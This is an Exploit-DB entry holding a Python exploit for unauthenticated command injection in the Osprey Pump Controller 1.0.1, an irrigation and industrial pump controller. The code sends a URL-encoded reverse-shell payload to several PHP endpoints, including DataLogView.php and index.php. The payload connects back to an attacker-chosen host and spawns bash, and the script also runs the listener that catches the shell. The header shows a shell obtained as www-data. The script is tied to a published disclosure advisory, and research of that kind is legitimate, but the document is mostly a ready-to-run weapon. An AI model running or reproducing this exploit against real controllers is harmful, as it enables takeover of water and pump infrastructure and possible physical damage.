Osprey Pump Controller 1.0.1 - Unauthenticated Remote Code Execution Exploit

EDB-ID:

51305

CVE:

N/A




Platform:

Hardware

Date:

2023-04-06


#!/usr/bin/env python
#
#
# Exploit Title: Osprey Pump Controller 1.0.1 - Unauthenticated Remote Code Execution Exploit
# Exploit Author: LiquidWorm
#
#
# Vendor: ProPump and Controls, Inc.
# Product web page: https://www.propumpservice.com | https://www.pumpstationparts.com
# Affected version: Software Build ID 20211018, Production 10/18/2021
#                   Mirage App: MirageAppManager, Release [1.0.1]
#                   Mirage Model 1, RetroBoard II
#
#
# Summary: Providing pumping systems and automated controls for
# golf courses and turf irrigation, municipal water and sewer,
# biogas, agricultural, and industrial markets. Osprey: door-mounted,
# irrigation and landscape pump controller.
#
# Technology hasn't changed dramatically on pump and electric motors
# in the last 30 years. Pump station controls are a different story.
# More than ever before, customers expect the smooth and efficient
# operation of VFD control. Communications—monitoring, remote control,
# and interfacing with irrigation computer programs—have become common
# requirements. Fast and reliable accessibility through cell phones
# has been a game changer.
#
# ProPump & Controls can handle any of your retrofit needs, from upgrading
# an older relay logic system to a powerful modern PLC controller, to
# converting your fixed speed or first generation VFD control system to
# the latest control platform with communications capabilities.
#
# We use a variety of solutions, from MCI-Flowtronex and Watertronics
# package panels to sophisticated SCADA systems capable of controlling
# and monitoring networks of hundreds of pump stations, valves, tanks,
# deep wells, or remote flow meters.
#
# User friendly system navigation allows quick and easy access to all
# critical pump station information with no password protection unless
# requested by the customer. Easy to understand control terminology allows
# any qualified pump technician the ability to make basic changes without
# support. Similar control and navigation platform compared to one of the
# most recognized golf pump station control systems for the last twenty
# years make it familiar to established golf service groups nationwide.
# Reliable push button navigation and LCD information screen allows the
# use of all existing control panel door switches to eliminate the common
# problems associated with touchscreens.
#
# Global system configuration possibilities allow it to be adapted to
# virtually any PLC or relay logic controlled pump stations being used in
# the industrial, municipal, agricultural and golf markets that operate
# variable or fixed speed. On board Wi-Fi and available cellular modem
# option allows complete remote access.
#
# Desc: The controller suffers from an unauthenticated command injection
# vulnerability that allows system access with www-data permissions.
#
# ----------------------------------------------------------------------
# Triggering command injection...
# Trying vector: /DataLogView.php
# Operator...?
# You got a call from 192.168.3.180:54508
# www-data@OspreyController:/var/www/html$ id;pwd
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# /var/www/html
# www-data@OspreyController:/var/www/html$ exit
# Zya!
# ----------------------------------------------------------------------
#
# Tested on: Apache/2.4.25 (Raspbian)
#            Raspbian GNU/Linux 9 (stretch)
#            GNU/Linux 4.14.79-v7+ (armv7l)
#            Python 2.7.13 [GCC 6.3.0 20170516]
#            GNU gdb (Raspbian 7.12-6) 7.12.0.20161007-git
#            PHP 7.0.33-0+deb9u1 (Zend Engine v3.0.0 with Zend OPcache v7.0.33)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research and Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2023-5754
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5754.php
#
#
# 05.01.2023
#


#                   o    o
#                  O    O
#                   o    o
#                    o    o
#_____________________\  /
#                      ||
#                      ||
#                      ||
from  time  import   sleep
import pygame.midi   #---#
import subprocess    #---#
import threading    #-----#
import telnetlib    #-----#
import requests    #-------#
import socket    #-----------#
import pygame    #-----------#
import random    #-----------#
import sys     #---------------#
import re     #-----------------#
###### #      #-----------------#


class Pump__it__up:

    def __init__(self):
        self.sound=False
        self.param="eventFileSelected"
        self.vector=["/DataLogView.php?"+self.param,
                     "/AlarmsView.php?"+self.param,
                     "/EventsView.php?"+self.param,
                     "/index.php"] # POST
        self.payload=None
        self.sagent="Tic"
        self.rhost=None
        self.lhost=None
        self.lport=None

    def propo(self):
        if len(sys.argv)!=4:
            self.kako()
        else:
            self.presh()
            self.rhost=sys.argv[1]
            self.lhost=sys.argv[2]
            self.lport=int(sys.argv[3])
            if not "http" in self.rhost:
                self.rhost="http://{}".format(self.rhost)

    def kako(self):
        self.pumpaj()
        print("Ovakoj: python {} [RHOST:RPORT] [LHOST] [LPORT]".format(sys.argv[0]))
        exit(0)

    def pumpaj(self):
        titl="""
                 .-.
                 |  \\
                 | / \\
             ,___| |  \\
            / ___( )   L
           '-`   | |   |
                 | |   F
                 | |  /
                 | |
                 | |
             ____|_|____
            [___________]
      ,,,,,/,,,,,,,,,,,,,\\,,,,,
o-------------------------------------o
 Osprey Pump Controller RCE Rev Shel_
                v1.0j
          Ref: ZSL-2023-5754
            by lqwrm, 2023
o-------------------------------------o
        """
        print(titl)

    def injekcija(self):
        self.headers={"Accept":"*/*",
                      "Connection":"close",
                      "User-Agent":self.sagent,
                      "Cache-Control":"max-age=0", 
                      "Accept-Encoding":"gzip,deflate",
                      "Accept-Language":"en-US,en;q=0.9"}
    
        self.payload =";"######################################################"
        self.payload+="/usr/bin/python%20-c%20%27import%20socket,subprocess,os;"
        self.payload+="s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.con"
        self.payload+="nect((%22"+self.lhost+"%22,"+str(self.lport)+"));os.dup2"
        self.payload+="(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),"
        self.payload+="2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27"#######"
        
        print("Triggering command injection...")
        
        for url in self.vector:
            if url=="/index.php":
                print("Trying vector:",url)
                import urllib.parse
                self.headers["Content-Type"]="application/x-www-form-urlencoded"
                self.postdata={"userName":urllib.parse.unquote(self.payload),
                               "pseudonym":"251"}
                r=requests.post(self.rhost+url,headers=self.headers,data=self.postdata)
                if r.status_code == 200:
                    break
            else:
                print("Trying vector:",url[:-18])
                r=requests.get(self.rhost+url+"="+self.payload,headers=self.headers)
                print("Code:",r.status_code)
                if r.status_code == 200:
                    print('Access Granted!')
                    break

    def netcat(self):
        import nclib
        server = nclib.TCPServer(("0.0.0.0",int(self.lport)))
        print("Operator...?")
        server.sock.settimeout(7)
        for client in server:
            print("You got a call from %s:%d" % client.peer)
            command=""
            while command!="exit":
                if len(command)>0:
                    if command in client.readln().decode("utf-8").strip(" "):
                        pass
                data = client.read_until('$')
                print(data.decode("utf-8"), end="")
                command = input(" ")
                client.writeln(command)
            print("Zya!")
            exit(1)

    def rasplet(self):
        if self.sound:
            konac1=threading.Thread(name="Pump_Up_The_Jam_1",target=self.entertain)
            konac1.start()
        konac2=threading.Thread(name="Pump_Up_The_Jam_2",target=self.netcat)
        konac2.start()
        self.injekcija()

    def presh(self):
        titl2="""
  _______________________________________
 /                                       \\
|  {###################################}  |
|  {##     Osprey Pump Controller    ##}  |
|  {##            RCE 0day           ##}  |
|  {##                               ##}  |
|  {##         ZSL-2023-5754         ##}  |
|  {###################################}  |
|                                         |
|               80  90  100               |
|            70     ^      120            |
|        60 *      /|\       * 140        |
|    55             |              160    |
|                   |                     |
|                   |                     |
|   (O)            (+)              (O)   |
 \_______________________________________/
        """
        print(titl2)

    def entertain(self):
        
        pygame.midi.init()
        midi_output=pygame.midi.Output(0)
    
        notes=[
            (74,251),(86,251),(76,251),(88,251),(84,251),(72,251),(69,251),(81,251),
            (83,251),(71,251),(67,251),(79,251),(74,251),(62,251),(64,251),(76,251),
            (72,251),(60,251),(69,251),(57,251),(59,251),(71,251),(55,251),(67,251),
            (62,251),(50,251),(64,251),(52,251),(48,251),(60,251),(57,251),(45,251),
            (47,251),(59,251),(45,251),(57,251),(56,251),(44,251),(43,251),(55,251),
            (67,251),(43,251),(55,251),(79,251),(71,251),(74,251),(55,251),(59,251),
            (62,251),(63,251),(48,251),(64,251),(72,251),(52,251),(55,251),(60,251),
            (64,251),(43,251),(55,251),(72,251),(60,251),(64,251),(55,251),(58,251),
            (72,251),(41,251),(53,251),(60,251),(57,251),(52,251),(40,251),(72,251),
            (76,251),(84,251),(55,251),(60,251),(77,251),(86,251),(74,251),(75,251),
            (78,251),(87,251),(79,251),(43,251),(76,251),(88,251),(72,251),(84,251),
            (76,251),(60,251),(55,251),(86,251),(74,251),(77,251),(52,251),(88,251),
            (79,251),(76,251),(43,251),(83,251),(74,251),(71,251),(86,251),(74,251),
            (77,251),(59,251),(53,251),(55,251),(76,251),(84,251),(48,251),(72,251),
            (52,251),(55,251),(60,251),(52,251),(55,251),(60,251),(55,251),(59,251),
            (62,251),(63,251),(64,251),(48,251),(72,251),(60,251),(52,251),(55,251),
            (64,251),(43,251),(55,251),(72,251),(64,251),(55,251),(58,251),(60,251),
            (72,251),(41,251),(53,251),(60,251),(57,251),(40,251),(52,251),(72,251),
            (51,251),(81,251),(39,251),(69,251),(67,251),(79,251),(72,251),(38,251),
            (50,251),(78,251),(66,251),(72,251),(69,251),(81,251),(50,251),(72,251),
            (54,251),(57,251),(84,251),(60,251),(76,251),(88,251),(50,251),(74,251),
            (86,251),(84,251),(54,251),(57,251),(60,251),(72,251),(69,251),(81,251)]

        channel=0
        velocity=124

        for note, duration in notes:
            midi_output.note_on(note, velocity, channel)
            duration=59
            pygame.time.wait(random.randint(100,301))
            pygame.time.wait(duration)
            midi_output.note_off(note, velocity, channel)
    
        del midi_output
        pygame.midi.quit()

    def main(self):
        self.propo()
        self.rasplet()
        exit(1)

if __name__=='__main__':
    Pump__it__up().main()